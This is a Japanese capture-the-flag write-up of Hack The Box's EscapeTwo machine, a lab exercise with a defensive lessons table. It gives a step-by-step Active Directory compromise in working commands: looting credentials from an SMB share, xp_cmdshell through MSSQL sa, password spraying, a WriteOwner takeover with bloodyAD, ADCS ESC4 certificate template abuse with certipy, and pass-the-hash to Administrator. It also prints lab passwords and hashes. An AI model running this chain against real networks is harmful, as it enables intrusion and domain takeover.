Hack The BoxのWriteup(EscapeTwo)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: EscapeTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC + MSSQL検出
→
SMB “Accounting Department”
破損xlsx回収・修復
→
sharedStrings.xml
sa:MSSQLP@ssw0rd! 他
→
MSSQL sa xp_cmdshell
sql-Configuration.INI読取
→
sql_svcパスワード
WinRMスプレー
→
ryan WinRM
user.txt ✓
→
BloodHound WriteOwner
ca_svc 所有者奪取
→
ADCS ESC4
certipy テンプレート改竄
→
Administrator PTH → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & AD検出

BASH
nmap -sV -sC -p 53,88,135,139,389,445,464,636,1433,3268,3269,5985,9389 10.129.232.128
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb)
445/tcp  open  microsoft-ds
636/tcp  open  ssl/ldap
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp open  ldap
3269/tcp open  ssl/ldap
5985/tcp open  wsman        Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
ℹ️
ポート構成からActive Directoryドメインコントローラー(sequel.htb、ホスト名DC01) であることが確定。加えてMSSQL Server 2019とWinRMが稼働しており、 典型的な「アカウント侵害前提(assumed breach)」シナリオ(初期クレデンシャルが与えられる)。
⚠️
本シナリオでは rose:KxEPkKe6R8su という初期クレデンシャルが与えられている前提で進める (Assumed Breach方式のHTBマシンでは、最初の資格情報が課題文として提供される)。

/etc/hosts へドメイン登録

BASH
echo "10.129.232.128 sequel.htb dc01.sequel.htb" | sudo tee -a /etc/hosts
PHASE 2

SMB共有調査 & 破損xlsxの修復

rose の認証情報でSMB共有を列挙

BASH
netexec smb 10.129.232.128 -u rose -p 'KxEPkKe6R8su' -d sequel.htb --shares
RESULT
SMB  Share           Permissions  Remark
---  -----           -----------  ------
SMB  Accounting Department  READ
SMB  C$                           Default share
SMB  NETLOGON        READ         Logon server share
SMB  SYSVOL          READ         Logon server share

accounts.xlsx を取得

BASH
smbclient //10.129.232.128/"Accounting Department" -U sequel.htb\\rose%KxEPkKe6R8su \
  -c "get accounts.xlsx"
RESULT
getting file \accounts.xlsx of size 6780 as accounts.xlsx

マジックバイト破損の確認と修復

BASH
xxd accounts.xlsx | head -1
RESULT
00000000: 50 48 04 03 04 00 00 00 08 00 ...
🚨
正しいZIP/xlsxのマジックバイトは 50 4B 03 04(“PK\x03\x04”)だが、このファイルは 50 48 04 03 に破損(2〜4バイト目が入れ替わっている)しており、通常のExcel/unzipでは 開けない。先頭4バイトだけを修復すればZIP構造自体は正常。
PYTHON
data = bytearray(open("accounts.xlsx", "rb").read())
data[0:4] = bytes.fromhex("504b0304")   # 50 4B 03 04 に修復
open("accounts_fixed.xlsx", "wb").write(data)
BASH
# 修復後、Excelで直接開くか zipfile で sharedStrings.xml を直接見ても良い
unzip -p accounts_fixed.xlsx xl/sharedStrings.xml | grep -oE '[A-Za-z0-9!@._-]{6,}'
RESULT
angela@sequel.htb
0fwz7Q4mSpurIt99
oscar@sequel.htb
86LxLBMgEWaKUnBG
kevin@sequel.htb
Md9Wlq1E5bZnVDVo
sa@sequel.htb
MSSQLP@ssw0rd!
✅
表計算シートの内容から、複数ユーザーの平文パスワードと、MSSQLのsaアカウントの パスワード MSSQLP@ssw0rd! を回収できた。
PHASE 3

MSSQL sa → xp_cmdshell → パスワードスプレー → user.txt

sa でMSSQLにログインしxp_cmdshellでINIファイルを読む

BASH
netexec mssql dc01.sequel.htb -u sa -p 'MSSQLP@ssw0rd!' --local-auth \
  -x "type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI"
RESULT
MSSQL  [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL  [+] Executed command via mssqlexec
...
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SAPWD="MSSQLP@ssw0rd!"
ℹ️
--local-auth は「saはWindowsアカウントではなくSQL Server自身のローカル 認証ユーザーである」ことを示す。saはデフォルトでsysadminロールを持つため、 xp_cmdshell(無効時はnxcが自動で一時的に有効化)経由でOSコマンドを実行できる。 インストール時の設定ファイル(sql-Configuration.INI)にサービスアカウントの平文パスワードが そのまま記録されていた。

ドメインユーザーへパスワードスプレー(WinRM)

BASH
# 既知ユーザー一覧 (SMB/LDAP列挙や課題文から判明)
cat users.txt
# Administrator / ca_svc / michael / oscar / rose / ryan / sql_svc

netexec winrm dc01.sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3' -d sequel.htb --continue-on-success
RESULT
WINRM  [-] sequel.htb\Administrator:WqSZAF6CysDQbGb3
WINRM  [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3
WINRM  [-] sequel.htb\michael:WqSZAF6CysDQbGb3
WINRM  [-] sequel.htb\oscar:WqSZAF6CysDQbGb3
WINRM  [-] sequel.htb\rose:WqSZAF6CysDQbGb3
WINRM  [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
WINRM  [-] sequel.htb\sql_svc:WqSZAF6CysDQbGb3
✅
MSSQLサービスアカウント(sql_svc)のパスワードが、別の対話可能ユーザー ryan に再利用されており、WinRM(5985)でログイン可能。

user.txt 取得

BASH
netexec winrm dc01.sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' -d sequel.htb \
  -x 'type C:\Users\ryan\Desktop\user.txt'
# または対話シェル:
evil-winrm -i 10.129.232.128 -u ryan -p 'WqSZAF6CysDQbGb3'
RESULT
ccc1aed79bca39d97c428a195b5d4b09
user.txt — ryan
ccc1aed79bca39d97c428a195b5d4b09
PHASE 4

BloodHound調査 → WriteOwner で ca_svc を奪取

Kerberosクロックスキュー対策

NOTE
Kerberos認証はKali側とDCの時刻差が大きいと KRB_AP_ERR_SKEW で失敗する。
以後のKerberos関連操作の前に時刻同期しておく。
BASH
sudo ntpdate -u 10.129.232.128

BloodHound収集 & ryan の権限確認

BASH
bloodhound-python -u ryan -p 'WqSZAF6CysDQbGb3' -d sequel.htb -ns 10.129.232.128 -c All --zip
NOTE
BloodHoundのGUIでインポートし ryan を起点に Outbound Object Control を確認すると、
ryan は CA サービスアカウント ca_svc に対して WriteOwner 権限を持つことが分かる。
(所有者を自分に変更→GenericAllを自分に付与→パスワードを自由に変更、という昇格チェーンが成立する)

bloodyAD で所有者変更・権限付与・パスワードリセット

BASH
bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' \
  set owner ca_svc ryan

bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' \
  add genericAll ca_svc ryan

bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' \
  set password ca_svc 'Password123!!'
RESULT
[+] Old owner S-1-5-21-...-512 is now replaced by ryan on ca_svc
[+] ryan has now GenericAll on ca_svc
[+] Password changed successfully!
✅
ca_svc:Password123!! として認証可能になった。このca_svcは Cert Publishers グループに所属しており、証明書テンプレートへの操作権限に つながる(次フェーズ)。
PHASE 5

ADCS ESC4 — 証明書テンプレート改竄

脆弱な証明書テンプレートの確認

BASH
certipy-ad find -u ca_svc@sequel.htb -p 'Password123!!' -dc-ip 10.129.232.128 -vulnerable
RESULT
Certificate Templates
  0
    Template Name                       : DunderMifflinAuthentication
    ...
    [!] Vulnerabilities
      ESC4                               : 'SEQUEL.HTB\\ca_svc' has dangerous permissions
🚨
ESC4: ca_svc はテンプレート DunderMifflinAuthentication の設定自体を書き換えられる権限を持つ。テンプレートを「ESC1相当(任意UPN指定可・クライアント認証可)」 に書き換えれば、任意ユーザー(Administrator含む)になりすませる証明書を発行できる。

テンプレートをESC1相当に書き換える

BASH
certipy-ad template -u ca_svc@sequel.htb -p 'Password123!!' \
  -template DunderMifflinAuthentication \
  -write-default-configuration -force -dc-ip 10.129.232.128
RESULT
[*] Saving current configuration to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*]     msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']  (クライアント認証)
[*] Successfully updated 'DunderMifflinAuthentication'
⚠️
certipy-ad v5系の注意点: 旧バージョンの記事によくある -save-oldフラグは v5.0.4 では無効化されており、接続情報を表示するだけで テンプレートを一切変更せずに終了する(エラーも出ないため気づきにくい)。 v5系では必ず -write-default-configuration -force を明示する必要がある (certipy template -h でサブコマンドのオプションを確認すると気づける)。

Administrator として証明書を要求

BASH
certipy-ad req -u ca_svc@sequel.htb -p 'Password123!!' \
  -ca sequel-DC01-CA -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb -dc-ip 10.129.232.128
RESULT
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Saving certificate and private key to 'administrator.pfx'
ℹ️
自分(ca_svc)の権限で発行依頼する証明書に、任意のUPN(administrator@sequel.htb)を 指定できてしまう。これが書き換え後のテンプレート設定(“Enrollee supplies subject”的な設定)の 悪用点。

証明書でKerberos認証し Administrator の NTハッシュを回収

BASH
certipy-ad auth -pfx administrator.pfx -no-save -domain sequel.htb -dc-ip 10.129.232.128
RESULT
[*] Using principal: 'administrator@sequel.htb'
[*] Got TGT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
✅
PKINITを使い証明書からTGTを取得し、さらにU2U(User-to-User)でAdministratorの NTハッシュを取り出せた。以降はPass-the-Hashでそのまま使える。
PHASE 6

Pass-the-Hash で Administrator → root.txt

NTハッシュでWinRMログイン

BASH
netexec winrm dc01.sequel.htb -u Administrator \
  -H 7a8d4e04986afa8ed4060f75e5a0b3ff -d sequel.htb \
  -x 'type C:\Users\Administrator\Desktop\root.txt'
# または対話シェル:
evil-winrm -i 10.129.232.128 -u Administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff
RESULT
[+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!)
[+] Executed command (shell type: cmd)
1bc83aa50af848747f9a04d87dde2aae
root.txt — Administrator@sequel.htb
1bc83aa50af848747f9a04d87dde2aae
⚠️
フラグ抽出時の注意点: Pass-the-Hash(-H)でnetexec/nxcを使うと、 認証成功バナー行に sequel.htb\Administrator:7a8d4e...(Pwn3d!) のように 認証用NTハッシュ自体が32桁hexとして出力される。これが実際のコマンド出力 (本物のフラグ)より前に出現するため、「最初に見つかった32桁hexを採用する」ような単純な 抽出ロジックだとNTハッシュ自体をフラグとして誤って保存してしまう。 抽出時は既知のハッシュ文字列を事前に除去してから32桁hexを探す、または出力の最後の方を 優先するなどの対策が必要。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ryan
ccc1aed79bca39d97c428a195b5d4b09
root.txt — Administrator@sequel.htb
1bc83aa50af848747f9a04d87dde2aae

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
認証情報入りスプレッドシートの平文保存 SMB “Accounting Department” 共有 複数ユーザー・MSSQL sa の平文パスワード漏洩 Medium マジックバイトが破損したxlsxを先頭4byte修復して復元し、sharedStrings.xmlから抽出
MSSQL sa + xp_cmdshell MSSQL Server 2019 (1433) OSコマンド実行(SQL Serverサービスアカウント権限) High sysadminロールを持つsaでログインし、インストール設定ファイル(平文PW入り)をtypeで読む
パスワード再利用 sql_svc → ryan 横移動(WinRM) Medium サービスアカウントのパスワードが対話ユーザーに再利用されていた
ADCS ESC4(証明書テンプレート書換権限の誤設定) 証明書テンプレート DunderMifflinAuthentication 任意ユーザー(Administrator含む)へのなりすまし Critical WriteOwnerでCA関連アカウント(ca_svc)を乗っ取り、テンプレートをESC1相当に書換→任意UPNで証明書発行→NTLM回収

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap バージョンスキャンAD DC(sequel.htb)+MSSQL+WinRM検出
2認証情報回収SMB共有の破損xlsx修復sa:MSSQLP@ssw0rd! 他複数アカウント
3RCE & 横移動MSSQL xp_cmdshell → INI読取 → WinRMスプレーuser.txt(ryan)
4権限棚卸しBloodHound + bloodyAD WriteOwnerca_svc:Password123!! 奪取
5ADCS攻撃certipy template/req/auth (ESC4)Administrator NTハッシュ
6権限昇格Pass-the-Hash (WinRM)root.txt

学んだ教訓 & 防御策

問題点防御策
社内共有フォルダに認証情報入りの業務スプレッドシートを平文で保管 秘密情報をファイルに平文保存しない。パスワード管理ツール(Vault等)を利用し、共有フォルダのアクセス権を最小化する。
MSSQL sa アカウントが有効かつ推測可能なパスワード、xp_cmdshellを有効化できる構成 saを無効化しWindows統合認証のみ許可する。xp_cmdshellを完全に無効化しポリシーで再有効化を禁止する。インストーラのログ/設定ファイルから平文パスワードを削除する。
サービスアカウントのパスワードを対話ユーザーアカウントで再利用 サービスアカウントには長く複雑な一意のパスワード(gMSA等のマネージドアカウント)を使い、人間が使うアカウントとは完全に分離する。
ADCS証明書テンプレートに対する過剰な書込み権限(ESC4)付与 証明書テンプレートの変更権限はPKI管理者グループのみに限定し、BloodHoundやcertipy findで定期的にESC1〜ESC16系の誤設定を監査する。
HackTheBox: EscapeTwo | 完全攻略レポート